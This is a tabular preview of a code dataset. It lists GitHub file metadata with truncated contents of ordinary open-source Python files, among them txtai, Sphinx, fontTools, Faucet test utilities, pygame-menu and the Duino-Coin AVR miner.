blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 4 721 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 5 91 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 321
values | visit_date timestamp[ns]date 2016-08-12 09:31:09 2023-09-06 10:45:07 | revision_date timestamp[ns]date 2010-09-28 14:01:40 2023-09-06 06:22:19 | committer_date timestamp[ns]date 2010-09-28 14:01:40 2023-09-06 06:22:19 | github_id int64 426 681M | star_events_count int64 101 243k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[ns]date 2012-06-28 18:51:49 2023-09-14 21:59:16 ⌀ | gha_created_at timestamp[ns]date 2008-02-11 22:55:26 2023-08-10 11:14:58 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 26
values | language stringclasses 2
values | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 6 10.2M | extension stringclasses 115
values | filename stringlengths 3 113 | content stringlengths 6 10.2M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
cd686afdf02804445d98cb43a8d0cf1e1e594462 | b7314f9480634b2f2998c8181d4284d2b52ebba1 | /src/python/txtai/pipeline/image/objects.py | 0dbaff4e1d523abdcd43376c4f665360260b635e | [
"Apache-2.0",
"LicenseRef-scancode-proprietary-license"
] | permissive | neuml/txtai | 3ca6fba11126d650ea4f2cf5199011a52ea56e4e | 789a4555cb60ee9cdfa69afae5a5236d197e2b07 | refs/heads/master | 2023-08-31T08:09:31.834178 | 2023-08-29T15:36:23 | 2023-08-29T15:36:23 | 286,301,447 | 4,804 | 387 | Apache-2.0 | 2023-09-11T17:12:40 | 2020-08-09T19:14:59 | Python | UTF-8 | Python | false | false | 2,726 | py | objects.py | """
Objects module
"""
# Conditional import
try:
from PIL import Image
PIL = True
except ImportError:
PIL = False
from ..hfpipeline import HFPipeline
class Objects(HFPipeline):
"""
Applies object detection models to images. Supports both object detection models and image classification models.
... |
5148719ae13d5f6e9dd9a53c17ae2462182b5bd8 | a46ccf3496712f85e92e15bac27b9f9df23436a4 | /notebooks/_solutions/01-introduction-tabular-data17.py | 8b87f1f5fa72420335a27742e79f4cf7d062a37a | [
"BSD-3-Clause"
] | permissive | jorisvandenbossche/DS-python-geospatial | a30ef43daa1d8cfd9d5652ab047bd828573bb493 | cd5d63057a335e0cb157faf12b945ec664da4c10 | refs/heads/main | 2022-11-24T09:55:06.552714 | 2022-11-20T22:15:50 | 2022-11-20T22:15:50 | 244,412,214 | 134 | 39 | BSD-3-Clause | 2023-09-14T17:10:54 | 2020-03-02T15:57:19 | Jupyter Notebook | UTF-8 | Python | false | false | 63 | py | 01-introduction-tabular-data17.py | subset = districts[districts['population'] > 50000]
len(subset) |
948e05bbf880513b5e11d17f4965b2b2e6038808 | c1291ee7d6d2c702090eaa273b608696e050b138 | /ulmo/lcra/hydromet/__init__.py | 24b934d1d127fd1c72acd2099ff6c6a292a1b514 | [
"BSD-3-Clause"
] | permissive | ulmo-dev/ulmo | bd5c33f18582744df1c56c8dbb6bdea73ced1f40 | 63371c33550d4c3fe19a02e615f239d3096fd401 | refs/heads/master | 2023-06-09T07:21:44.503674 | 2023-06-02T20:41:46 | 2023-06-02T20:41:46 | 1,579,740 | 134 | 51 | NOASSERTION | 2023-06-02T20:41:47 | 2011-04-06T23:00:14 | HTML | UTF-8 | Python | false | false | 425 | py | __init__.py | """
LCRA Hydromet Data
~~~~~~~~~~~~~~~~~~
Access to hydrologic and climate data in the Colorado River Basin (Texas)
provided by the `Hydromet`_ web site and web service from
the `Lower Colorado River Authority`_.
.. _Lower Colorado River Authority: http://www.lcra.org
.. _Hydromet: http://h... |
a151a964fbcb9179e5d5d2e1b9ad3bd73a538391 | ac2f43c8e0d9649a7f063c59b3dffdfed9fd7ed7 | /tests2/common/base_mboot_test.py | 087f2223f8d336601088230999db83bc57a6a4a7 | [] | no_license | facebook/openbmc | bef10604ced226288600f55248b7f1be9945aea4 | 32777c66a8410d767eae15baabf71c61a0bef13c | refs/heads/helium | 2023-08-17T03:13:54.729494 | 2023-08-16T23:24:18 | 2023-08-16T23:24:18 | 31,917,712 | 684 | 331 | null | 2023-07-25T21:19:08 | 2015-03-09T19:18:35 | C | UTF-8 | Python | false | false | 1,707 | py | base_mboot_test.py | #!/usr/bin/env python3
#
# Copyright 2020-present Facebook. All Rights Reserved.
#
# This program file is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; version 2 of the License.
#
# This program is distributed ... |
c49c1c92853ce4ad200d63808ce37dccbec5756f | e4f8313d3c91d08e3ab92886a956d96e5a3e21bf | /tests/integration/conftest.py | dc33687e53061d4325b62ef406e7749573021146 | [
"MIT"
] | permissive | kiwicom/crane | 69e883b56c2b8c0221fb31c8f98265e929abb73f | 7033a7f0a8ebaf5679c87ddde8ef866b23562917 | refs/heads/master | 2023-04-07T06:50:05.801158 | 2023-04-04T14:49:24 | 2023-04-04T14:49:24 | 86,802,251 | 105 | 17 | MIT | 2022-12-08T04:50:11 | 2017-03-31T09:28:10 | Python | UTF-8 | Python | false | false | 526 | py | conftest.py | import os
import shutil
import git
import pytest
import tempfile
from crane import deployment
@pytest.fixture(autouse=True)
def gitlab_ci_env(monkeypatch):
monkeypatch.setenv("GITLAB_USER_EMAIL", "picky@kiwi.com")
monkeypatch.setenv("CI_PROJECT_PATH", "foo/bar")
monkeypatch.setenv("CI_PROJECT_URL", "http... |
31d52dd3fad2395ef5dd897c743258eb9fdbd78e | cb8eaa782982767464ac0f9f6fb5c24fc0610c7b | /clib/mininet_test_util.py | c96e989e83a6c601004ac86e0c0238abc3e00b0c | [
"Apache-2.0"
] | permissive | faucetsdn/faucet | 8a62688f369dfecebb23d30f7704799f613323f1 | 33a111e0664a7ac7d98938f7a0a0222a5c99ca7b | refs/heads/main | 2023-08-28T19:16:46.435088 | 2023-08-24T02:04:23 | 2023-08-24T02:04:23 | 43,105,431 | 465 | 158 | Apache-2.0 | 2023-09-14T06:51:38 | 2015-09-25T02:39:36 | Python | UTF-8 | Python | false | false | 7,393 | py | mininet_test_util.py | #!/usr/bin/env python3
"""Standalone utility functions for Mininet tests."""
import collections
import os
import socket
import subprocess
import time
# pylint: disable=import-error
from mininet.log import error, output
DEVNULL = open(os.devnull, "wb", encoding=None) # pylint: disable=consider-using-with
GETPORT =... |
74c9202d3f478efedf88fed19a016b6a421714cf | 96dcea595e7c16cec07b3f649afd65f3660a0bad | /tests/components/universal/__init__.py | 9a814402b9c3e95e8490df1c07216ca5b947f3c9 | [
"Apache-2.0"
] | permissive | home-assistant/core | 3455eac2e9d925c92d30178643b1aaccf3a6484f | 80caeafcb5b6e2f9da192d0ea6dd1a5b8244b743 | refs/heads/dev | 2023-08-31T15:41:06.299469 | 2023-08-31T14:50:53 | 2023-08-31T14:50:53 | 12,888,993 | 35,501 | 20,617 | Apache-2.0 | 2023-09-14T21:50:15 | 2013-09-17T07:29:48 | Python | UTF-8 | Python | false | false | 41 | py | __init__.py | """Tests for the universal component."""
|
210e9e154e203320b8e7a0522df3164e9f6fe03f | 8de79ab1818c535dcd8ad6e0c92b5c9642ffb82a | /sphinx/writers/latex.py | 89b349aee59859e624d9a99bfb55f8c194b3f6d9 | [
"BSD-3-Clause",
"BSD-2-Clause"
] | permissive | sphinx-doc/sphinx | 632d75bfc7bef14904f3d847e6de6d37594a13a5 | eab54533a56119c5badd5aac647c595a9adae720 | refs/heads/master | 2023-08-16T18:21:54.073511 | 2023-08-15T17:36:47 | 2023-08-15T17:36:47 | 28,710,753 | 6,138 | 2,587 | NOASSERTION | 2023-09-14T14:22:28 | 2015-01-02T10:53:28 | Python | UTF-8 | Python | false | false | 90,889 | py | latex.py | """Custom docutils writer for LaTeX.
Much of this code is adapted from Dave Kuhlman's "docpy" writer from his
docutils sandbox.
"""
from __future__ import annotations
import re
from collections import defaultdict
from collections.abc import Iterable
from os import path
from typing import TYPE_CHECKING, Any, cast
fr... |
f2db591789c6d0851466feeddd3e11a89130f612 | 010279e2ba272d09e9d2c4e903722e5faba2cf7a | /contrib/python/fonttools/fontTools/ttLib/tables/_k_e_r_n.py | 94183c8a0a1e8a02cfc229d525030d9ae2b27ddf | [
"MIT",
"LicenseRef-scancode-unknown-license-reference",
"OFL-1.1",
"BSD-3-Clause",
"Apache-2.0"
] | permissive | catboost/catboost | 854c1a1f439a96f1ae6b48e16644be20aa04dba2 | f5042e35b945aded77b23470ead62d7eacefde92 | refs/heads/master | 2023-09-01T12:14:14.174108 | 2023-09-01T10:01:01 | 2023-09-01T10:22:12 | 97,556,265 | 8,012 | 1,425 | Apache-2.0 | 2023-09-11T03:32:32 | 2017-07-18T05:29:04 | Python | UTF-8 | Python | false | false | 10,436 | py | _k_e_r_n.py | from fontTools.ttLib import getSearchRange
from fontTools.misc.textTools import safeEval, readHex
from fontTools.misc.fixedTools import fixedToFloat as fi2fl, floatToFixed as fl2fi
from . import DefaultTable
import struct
import sys
import array
import logging
log = logging.getLogger(__name__)
class table__k_e_r_n(... |
7c08ba7b137391ad74c388cc0e521aa92bf20d8a | 0f96e82782069113767e0322cd29629503fc2aad | /src/weresync/plugins/weresync_grub2.py | 5a123ee9e65f741c8b8dc7702ea24c0368cc0007 | [
"Apache-2.0"
] | permissive | DonyorM/weresync | f82afe39d03fd8a8f48562130ee856b2c199dfbf | 3c0094cb386358589c48bf48cb60f20acf961f9c | refs/heads/master | 2022-12-10T20:02:05.332807 | 2021-02-20T23:18:34 | 2021-02-20T23:18:34 | 72,903,177 | 225 | 19 | Apache-2.0 | 2022-12-08T05:15:41 | 2016-11-05T03:37:34 | Python | UTF-8 | Python | false | false | 6,564 | py | weresync_grub2.py | # Copyright 2016 Daniel Manila
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... |
94a91e1402d22fd2405499c05d4bd63a67354dbb | 6189f34eff2831e3e727cd7c5e43bc5b591adffc | /WebMirror/management/rss_parser_funcs/feed_parse_extractLnAddiction.py | a6e92bc8872250140f07f22680e3d2ede31d3062 | [
"BSD-3-Clause"
] | permissive | fake-name/ReadableWebProxy | 24603660b204a9e7965cfdd4a942ff62d7711e27 | ca2e086818433abc08c014dd06bfd22d4985ea2a | refs/heads/master | 2023-09-04T03:54:50.043051 | 2023-08-26T16:08:46 | 2023-08-26T16:08:46 | 39,611,770 | 207 | 20 | BSD-3-Clause | 2023-09-11T15:48:15 | 2015-07-24T04:30:43 | Python | UTF-8 | Python | false | false | 451 | py | feed_parse_extractLnAddiction.py | def extractLnAddiction(item):
"""
# Ln Addiction
"""
vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
if not (chp or vol) or 'preview' in item['title'].lower():
return None
if ('Hissou Dungeon Unei Houhou' in item['tags'] or 'Hisshou Dungeon Unei Houhou' in item['tags']) and (chp or fr... |
e4af2cf7af21db7a156ef80d842f59e6d42977df | 3bba998ece193dd4594059025d0ebdc86a982e18 | /lib/rucio/db/sqla/migrate_repo/versions/9a45bc4ea66d_add_vp_table.py | 74351e2405bd3c09aa3bff6da3edd6d1e09c5575 | [
"Apache-2.0"
] | permissive | rucio/rucio | d3320db046866be616f534baecdfdb2b28c8d0f1 | 7f0d229ac0b3bc7dec12c6e158bea2b82d414a3b | refs/heads/master | 2023-09-02T15:17:54.376456 | 2023-08-14T12:54:06 | 2023-08-21T12:42:21 | 109,819,364 | 232 | 378 | Apache-2.0 | 2023-09-14T12:52:36 | 2017-11-07T10:15:12 | Python | UTF-8 | Python | false | false | 1,962 | py | 9a45bc4ea66d_add_vp_table.py | # -*- coding: utf-8 -*-
# Copyright European Organization for Nuclear Research (CERN) since 2012
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-... |
1a594ca6e89eabdb814125220a3a59f14149ac82 | 317814366a23277bea87ce6dde4441a53dbb9996 | /lib/build_pack_utils/zips.py | e95b1911bede40c22ff041e0ac533dec1bc68738 | [
"Apache-2.0"
] | permissive | cloudfoundry/php-buildpack | c163ffbcc733aff454a349dbf2d64843c102ccbd | 4bd55b99bafdf81864ed0b0014e064fc585ad7dd | refs/heads/master | 2023-09-03T21:00:20.596401 | 2023-08-23T18:11:25 | 2023-08-23T18:12:02 | 15,767,202 | 140 | 464 | Apache-2.0 | 2023-09-07T16:07:46 | 2014-01-09T13:19:03 | Python | UTF-8 | Python | false | false | 9,325 | py | zips.py | import os
import gzip
import bz2
import zipfile
import shutil
import logging
import tempfile
from functools import partial
from subprocess import Popen
from subprocess import PIPE
class UnzipUtil(object):
"""Extract files from compressed archives."""
def __init__(self, config):
self._ctx = config
... |
fbedded06b14d50134fd9049c6de58dfce0a7a99 | a4269b96a9eba49bbe692733d6777ec1917ef629 | /semana-04/scripts/3-eventos-y-señales-ejemplo_1.py | ead3bab58740119072f457a54207556ad6a66527 | [] | no_license | IIC2233/contenidos | 7bbc687c10d5fa2f394891507cf733f24b14080f | ee49033e3aa382f1dcbd03004601a7c084f824ab | refs/heads/main | 2023-08-29T10:15:56.430976 | 2023-08-22T04:35:17 | 2023-08-22T04:37:00 | 286,314,095 | 118 | 193 | null | 2020-10-13T16:55:19 | 2020-08-09T20:45:00 | Jupyter Notebook | UTF-8 | Python | false | false | 2,311 | py | 3-eventos-y-señales-ejemplo_1.py | import sys
from PyQt6.QtWidgets import (QApplication, QWidget, QPushButton, QLabel,
QGridLayout, QVBoxLayout)
class MiVentana(QWidget):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.init_gui()
def init_gui(self):
self.label1 = Q... |
f44c0e93d0e91d3264847c1af7b7bacd366d5176 | 04f5e5e2536f05f5dfeff9747322f85b0c62886b | /experiments/661k_genomes/scan_genomes_minmers.py | 5d1f32aea0753c81fffc168c0286b73a74d41372 | [
"MIT"
] | permissive | ekimb/rust-mdbg | dba6355580ef019b5b65d6ccece445afe45157ca | 985ba674f9da0ff440b0330fd1e2b1de92226305 | refs/heads/master | 2023-05-12T04:47:17.340513 | 2023-01-12T10:14:00 | 2023-01-12T11:05:47 | 310,619,686 | 163 | 14 | MIT | 2022-02-22T17:37:39 | 2020-11-06T14:29:44 | Rust | UTF-8 | Python | false | false | 2,640 | py | scan_genomes_minmers.py | """ purpose: scans stdin for kminmers found in a reference file
stdin format: [seq_id] [list of minimizers]
reference file: many lines, each line is: [seq_id] [list of minimizers to extract kminmers from]
"""
import sys
genome_minspace_filename = sys.argv[1]
k=10
graph_mode = "-g" in sys.argv
from collectio... |
b550ff5fdac059bc0e583bc3d3230fc20e2d91c6 | 3db48713c39b90d5967615e3d1c874d88055ba70 | /tests/utils/stl-lit/stl-lit.in | c9c28dc1fce8ab7f791bc6636659ee8c1cef3900 | [
"Apache-2.0",
"LLVM-exception",
"LicenseRef-scancode-object-form-exception-to-mit",
"LicenseRef-scancode-unicode",
"MIT",
"LicenseRef-scancode-mit-old-style",
"LicenseRef-scancode-other-permissive",
"CC0-1.0",
"BSL-1.0",
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-generic-cla",
"... | permissive | microsoft/STL | 4b1a6a625402e04b857e8dfc3c22efd9bc798f01 | 6c69a73911b33892919ec628c0ea5bbf0caf8a6a | refs/heads/main | 2023-09-04T08:50:17.559497 | 2023-08-31T16:49:43 | 2023-08-31T16:49:43 | 204,593,825 | 9,862 | 1,629 | NOASSERTION | 2023-09-14T21:57:47 | 2019-08-27T01:31:18 | C++ | UTF-8 | Python | false | false | 1,016 | in | stl-lit.in | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#===----------------------------------------------------------------------===##
#
# Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
# See https://llvm.org/LICENSE.txt for license information.
# SPDX-License-Identifier: Apache-2.0 WITH L... |
e869c5d3f81bf03134a538e8647d517b767a9ac0 | dcbef06d5a00f07756339b9e62c684dec2fee425 | /nuitka/build/inline_copy/lib/scons-3.1.2/SCons/Tool/applelink.py | f432d613b3e97176cdc8edadf4220f1c33f47444 | [
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | Nuitka/Nuitka | f9543d8d95bfa0b81d4e60af0dfad99fb72893a4 | d87faf2f7e1d6ed9bfe4cf8c1d648f34307e33f2 | refs/heads/develop | 2023-08-28T14:00:32.861328 | 2023-08-27T09:16:45 | 2023-08-27T09:16:45 | 9,626,741 | 8,573 | 599 | Apache-2.0 | 2023-09-13T02:49:41 | 2013-04-23T15:40:33 | Python | UTF-8 | Python | false | false | 8,618 | py | applelink.py | """SCons.Tool.applelink
Tool-specific initialization for Apple's gnu-like linker.
There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.
"""
#
# Copyright (c) 2001 - 2019 The SCons Foundation
#
# Permission is hereby g... |
07a5c8b26b300f79a0570d6ca9e7a9d5b89f13df | de84a9c84e9fd00fb1cf52c69381b20c96463f2b | /proselint/checks/misc/scare_quotes.py | 4c5fa8048d70efb9b3bfd66372ffb8fea9a4f650 | [
"BSD-3-Clause"
] | permissive | amperser/proselint | 23b7b1a0963bf036dde9326b3bb0bbbfcdf26c61 | b5b7536bec5fd461e45cacad87c2aab9ea33ac35 | refs/heads/main | 2023-08-11T08:45:59.641463 | 2023-07-27T13:28:58 | 2023-07-27T13:28:58 | 29,220,809 | 4,513 | 267 | BSD-3-Clause | 2023-09-10T20:53:11 | 2015-01-14T01:24:07 | Python | UTF-8 | Python | false | false | 554 | py | scare_quotes.py | """Misuse of scare quotes.
---
layout: post
source: Pinker's book on writing
source_url: ???
title: misuse of scare quotes
date: 2014-06-10 12:31:19
categories: writing
---
Points out misuse of scare quotes.
"""
from proselint.tools import existence_check, memoize
@memoize
def check(text):
"... |
aac1bd411cbdb2b37b60c8f8cfed2cc0b00e0aed | 9da4adae4c389e84097a0da9bfce40f9132eef96 | /pygame_menu/utils.py | c10c0ae245046d2bb22c8779c8b55193722af611 | [
"MIT"
] | permissive | ppizarror/pygame-menu | f8fd2ff3acefad25b07e19499a2dfebd50507403 | bcfaccbb11d4a6ecba588eec2851932dc46c2337 | refs/heads/master | 2023-07-07T10:38:09.651797 | 2023-06-28T18:00:25 | 2023-06-28T18:00:25 | 89,940,842 | 570 | 207 | NOASSERTION | 2023-08-19T19:17:59 | 2017-05-01T16:26:50 | Python | UTF-8 | Python | false | false | 39,971 | py | utils.py | """
pygame-menu
https://github.com/ppizarror/pygame-menu
UTILS
Utility functions.
"""
__all__ = [
# Methods
'assert_alignment',
'assert_color',
'assert_cursor',
'assert_list_vector',
'assert_orientation',
'assert_position',
'assert_position_vector',
'assert_vector',
'check_key... |
e2058ffa263161b909f39fc2ff6f19e7f584f62d | 88ce889124078382c9835c2aeca101ca79302bca | /applications/questions.py | 866ac43845f5715e9fea0681c50b41a741c5746b | [
"BSD-3-Clause"
] | permissive | DjangoGirls/djangogirls | 9cb6c145e9fa10bcf3f06a70d025ff31d96346eb | 2b2fc151354906ac116dd8cd9a9f4f412dee26af | refs/heads/main | 2023-08-30T15:43:27.162564 | 2023-07-27T11:51:40 | 2023-07-27T11:51:40 | 20,439,809 | 504 | 347 | BSD-3-Clause | 2023-08-30T09:25:53 | 2014-06-03T11:13:57 | Python | UTF-8 | Python | false | false | 5,951 | py | questions.py | from collections import OrderedDict
from django import forms
from django.urls import reverse
from django.utils.translation import gettext_lazy as _
def get_organiser_menu(page_url):
"""
Get menu entries for organiser-visible pages
"""
menu = [
{"title": _("Applications"), "url": reverse("appl... |
c6e49577f9835691cbe504050fc5472d0d02ad4f | d110546d747d7e3865ce5742d5fca09f404623c0 | /tests/integration/grains/test_custom.py | 17a09a4797ebf64b4a948e1cfc0eccd59effbf59 | [
"Apache-2.0",
"MIT",
"BSD-2-Clause"
] | permissive | saltstack/salt | 354fc86a7be1f69514b3dd3b2edb9e6f66844c1d | 1ef90cbdc7203f97775edb7666db86a41eb9fc15 | refs/heads/master | 2023-07-19T20:56:20.210556 | 2023-06-29T23:12:28 | 2023-07-19T11:47:47 | 1,390,248 | 11,026 | 6,296 | Apache-2.0 | 2023-09-14T20:45:37 | 2011-02-20T20:16:56 | Python | UTF-8 | Python | false | false | 519 | py | test_custom.py | """
Test the core grains
"""
import pytest
from tests.support.case import ModuleCase
@pytest.mark.windows_whitelisted
class TestGrainsCore(ModuleCase):
"""
Test the core grains grains
"""
@pytest.mark.slow_test
def test_grains_passed_to_custom_grain(self):
"""
test if current g... |
79113ddaeba9ba50bd9a5e7fdcf2ca3a2615e6f2 | cfe182e58878e570e52102805912b4b7f63b16dc | /sph_harm.py | 1d445b01d90132a1a1253d6f480d160aced3e5a0 | [] | no_license | QijingZheng/VaspBandUnfolding | dfbe04ac55af7fd88a0c3c4e0bcc6257de49fc32 | 43a5a4fafc2079912ba8b978958b0e238a9e818c | refs/heads/master | 2023-08-18T17:56:50.140704 | 2023-08-12T04:50:29 | 2023-08-12T04:50:29 | 90,606,540 | 168 | 76 | null | 2023-07-16T03:41:00 | 2017-05-08T08:51:01 | Python | UTF-8 | Python | false | false | 6,182 | py | sph_harm.py | #!/usr/bin/env python
import numpy as np
from scipy.special import sph_harm
def cart2sph(xyz, epsilon=1E-10):
'''
Convert Cartesian coordinate to spherical coordinate.
input:
xyz in (n, 3)
return:
r: norm
theta: polar angle in [0, pi]
phi: azimuthal angle in [0, 2 * pi]
... |
ba339338a73958d251fd31798b05a82ee800f4f9 | 0ec2b0a2caf2cc5e0ec2bbb89aefc10fc5c63047 | /tests/test_class_import.py | 709dc6e17cba874a810c894d284840eac87cad87 | [
"Apache-2.0"
] | permissive | spulec/freezegun | 3d8406eaf4c3ffa72f884162a278a332eaee4a94 | 4f4496380deefceead7bef23bccaca17c2bdecfa | refs/heads/master | 2023-08-30T22:29:16.153344 | 2023-02-22T05:49:22 | 2023-02-22T05:49:22 | 7,106,250 | 3,480 | 294 | Apache-2.0 | 2023-08-24T21:19:36 | 2012-12-11T05:11:00 | Python | UTF-8 | Python | false | false | 6,101 | py | test_class_import.py | import time
import sys
from .fake_module import (
fake_date_function,
fake_datetime_function,
fake_gmtime_function,
fake_localtime_function,
fake_strftime_function,
fake_time_function,
)
from . import fake_module
from freezegun import freeze_time
from freezegun.api import (
FakeDatetime,
... |
d4958d660aaa09702436e99cf5ee5b8de77c81bd | d813a392c7cbc8dbbec273b3a2366a50f9df45c9 | /bmtk/analyzer/spikes_analyzer.py | af77187a618f82ecc153c796587a665d2f51cd96 | [
"BSD-3-Clause"
] | permissive | AllenInstitute/bmtk | 1496d6e0bd7cbef7b1b8cac64a8589d01548f897 | ae9c24c415a3fbd60397b4ead160b72b4b3e4e4f | refs/heads/develop | 2023-08-24T20:09:32.763686 | 2023-08-20T18:29:19 | 2023-08-20T18:29:19 | 104,507,294 | 253 | 111 | BSD-3-Clause | 2023-08-24T14:38:57 | 2017-09-22T18:42:44 | Python | UTF-8 | Python | false | false | 4,787 | py | spikes_analyzer.py | # Copyright 2017. Allen Institute. All rights reserved
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
# following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the follow... |
7ef9262273a3c7f5ef9e3659c8253c016a2f63ad | b99c294295f1b1d6da8f90562490567b24fd8c8f | /AVR_Miner.py | be47070cc66e85068cba8e8f54f7e39bd144d175 | [
"MIT"
] | permissive | revoxhere/duino-coin | 5d1f97425e29bf885f639f74fc5fc2fb483859b5 | 9cea64d8bd59f9138dc2f160f2caaf5c3f373c8d | refs/heads/master | 2023-08-17T10:43:46.972577 | 2023-08-16T18:02:04 | 2023-08-16T18:02:04 | 200,611,314 | 2,839 | 833 | MIT | 2023-09-07T23:41:21 | 2019-08-05T08:07:46 | Python | UTF-8 | Python | false | false | 50,322 | py | AVR_Miner.py | #!/usr/bin/env python3
"""
Duino-Coin Official AVR Miner 3.5 © MIT licensed
https://duinocoin.com
https://github.com/revoxhere/duino-coin
Duino-Coin Team & Community 2019-2023
"""
from os import _exit, mkdir
from os import name as osname
from os import path
from os import system as ossystem
from platform import machi... |
660e63d257396e6f7515f44b9f7b4c53d4ff7331 | dcbce7d48685588f12e2909d256b0b608fbf689f | /gosling/examples/area_chart.py | 448af3d3b9f21b99da97be0c52f062b628ef826b | [
"MIT"
] | permissive | gosling-lang/gos | 89b7cf76a81b51bf21f20dbc167d4ce3f494f97d | 0f22464b91163944b8654127e02fa64b0106dc21 | refs/heads/main | 2023-07-22T07:55:54.733935 | 2023-06-28T17:19:50 | 2023-06-28T17:19:50 | 387,874,230 | 155 | 11 | MIT | 2023-09-04T16:08:52 | 2021-07-20T18:00:50 | Python | UTF-8 | Python | false | false | 602 | py | area_chart.py | """
Area Chart
==========
"""
# category: basic marks
import gosling as gos
data = gos.multivec(
url="https://resgen.io/api/v1/tileset_info/?d=UvVPeLHuRDiYA3qwFlm7xQ",
row="sample",
column="position",
value="peak",
categories=["sample 1"],
)
domain = gos.GenomicDomain(chromosome="chr1", interval=[... |
ac52679e28c535eab64c5305d88b0eb283c09d75 | 2dfc2beac0ad497f8fc59201921097a412f0df7f | /trunk/research/code-statistic/cs.py | 187cc4e76703c6b50becd3a59cbd0ce99b8a06d9 | [
"Apache-2.0",
"LicenseRef-scancode-mulanpsl-2.0-en",
"MIT",
"MulanPSL-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | ossrs/srs | cf9442478fedcd32ef2817f8d53f405a6fa2c7d1 | 7138edd318d30b545e73e80500adda771817f8d1 | refs/heads/develop | 2023-09-01T03:38:35.057515 | 2023-08-31T01:45:25 | 2023-08-31T01:49:36 | 34,777,562 | 23,557 | 5,046 | MIT | 2023-09-09T00:57:42 | 2015-04-29T06:59:32 | C++ | UTF-8 | Python | false | false | 2,888 | py | cs.py | #!/usr/bin/python
#
# Copyright (c) 2013-2021 Winlin
#
# SPDX-License-Identifier: MIT
#
#################################################################################
# to stat the code and comments lines
#################################################################################
import sys
def trace(msg):
... |
67439de99a60c635fcb8809466fcef72f306fb6b | 6a017c87a1c3e016de5e1704d23d1d2034fab41c | /src/coffea/nanoevents/mapping/util.py | b8897d47080067e4f8723a3caeb520f318a41ffa | [
"BSD-3-Clause"
] | permissive | CoffeaTeam/coffea | 53997aefbccf583cc901718b5c639a4b4535dbcd | a33fc173f3bf2be307bac6517e624fc6ce0c4c3e | refs/heads/master | 2023-08-10T12:36:49.238010 | 2023-08-02T02:57:18 | 2023-08-02T02:57:18 | 159,673,139 | 116 | 100 | BSD-3-Clause | 2023-09-12T20:32:08 | 2018-11-29T13:47:57 | Jupyter Notebook | UTF-8 | Python | false | false | 2,258 | py | util.py | import weakref
from collections.abc import Mapping, MutableMapping
from coffea.nanoevents.util import key_to_tuple
class CachedMapping(Mapping):
"""A cache-wrapped mapping
Reads will call into ``cache`` first, and if no key exists,
the read will fall back to ``base``, saving the reult into ``cache``.
... |
91cfa2a15bc273f8eeed646f37bdf2e31697708c | e384f5467d8bcfd70845997bcbd68d950e874a61 | /example/python/legacy_opengl/glfw_minimal_example_wavefront.py | b9bc884ad87a368a9be76c9ef7528e226cea97de | [] | no_license | Rabbid76/graphics-snippets | ee642f1ed9ceafc6d320e467d3a084d2446d22c2 | fa187afeabb9630bc1d988304fb5787e95a91385 | refs/heads/master | 2023-08-04T04:32:06.884318 | 2023-07-21T09:15:43 | 2023-07-21T09:15:43 | 109,126,544 | 177 | 12 | null | 2023-04-11T20:05:52 | 2017-11-01T12:05:56 | C++ | UTF-8 | Python | false | false | 1,936 | py | glfw_minimal_example_wavefront.py | from OpenGL.GL import *
from OpenGL.GLU import *
from glfw.GLFW import *
from wavefrontloader import *
import os
os.chdir(os.path.join(os.path.dirname(os.path.abspath(__file__)), '../../../resource'))
if glfwInit() == GLFW_FALSE:
exit()
glfwWindowHint(GLFW_SAMPLES, 8)
window = glfwCreateWindow(300, 300, "OpenGL W... |
f1b92b572f6beb1a06d728439457189d8b13c00c | 479a9c76b19b84d6cde69305828031cd2531aa56 | /testing/MLDB-1266-import_json.py | 2fb4a7ab3bae84af8f1d9557ddad5e03f7e9a725 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | mldbai/mldb | d36801bd99dd3f82d7557cd0f438b0121f63f22c | 19bc4bc92a41ee8ad4eab0979dffd9c985d95758 | refs/heads/master | 2023-09-03T22:59:11.621839 | 2022-12-30T18:42:24 | 2022-12-30T18:42:24 | 47,634,692 | 701 | 107 | Apache-2.0 | 2023-02-10T23:08:05 | 2015-12-08T16:34:16 | C++ | UTF-8 | Python | false | false | 12,847 | py | MLDB-1266-import_json.py | #
# MLDB-1266-import_json.py
# 2016
# This file is part of MLDB. Copyright 2016 mldb.ai inc. All rights reserved.
#
from functools import partial
if False:
mldb_wrapper = None
from mldb import mldb, MldbUnitTest, ResponseException
class ImportJsonTest(MldbUnitTest): # noqa
def assert_val(self, res, rowNam... |
6a61a289a7d9497e339a3f1dc281a366b43fb859 | fb8d962a803ae1f6c20f80b458efd5ba17560b06 | /magnum/tests/unit/conductor/handlers/common/test_cert_manager.py | 7d29cedad3de1c23105d95dbab334179029d2cea | [
"Apache-2.0"
